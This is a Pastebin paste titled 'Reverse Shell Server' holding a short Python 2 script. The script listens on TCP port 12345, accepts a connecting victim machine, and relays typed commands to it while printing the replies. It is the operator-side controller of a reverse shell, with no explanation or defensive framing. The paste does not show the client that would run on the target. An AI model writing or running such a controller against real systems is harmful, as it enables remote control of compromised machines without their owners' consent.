sebastian_johansen

Reverse Shell Server

Apr 17th, 2017
5,135
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket
  2.  
  3. HOST = '0.0.0.0'  # server will bind to any IP
  4. PORT = 12345
  5.  
  6. server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # creates server TCP socket
  7. server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # prevents from getting timeout issues
  8. server_socket.bind((HOST, PORT))
  9.  
  10. server_socket.listen(5)  # 5 connections max in queue
  11. print("\n[*] Listening on port " +str(PORT)+ ", waiting for connexions.")
  12.  
  13. # see socket documentation to understand how socket.accept works
  14. client_socket, (client_ip, client_port) = server_socket.accept()
  15. print("[*] Client " +client_ip+ " connected.\n")
  16.  
  17.  
  18. while True:
  19.     try:
  20.         command = raw_input(client_ip+ ">")
  21.         if(len(command.split()) != 0):
  22.             client_socket.send(command)
  23.         else:
  24.             continue
  25.     except(EOFError):
  26.             print("Invalid input, type 'help' to get a list of implemented commands.\n")
  27.             continue
  28.  
  29.     if(command == "quit"):
  30.         break
  31.  
  32.     data = client_socket.recv(1024)
  33.     print(data + "\n")
  34.  
  35. client_socket.close()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×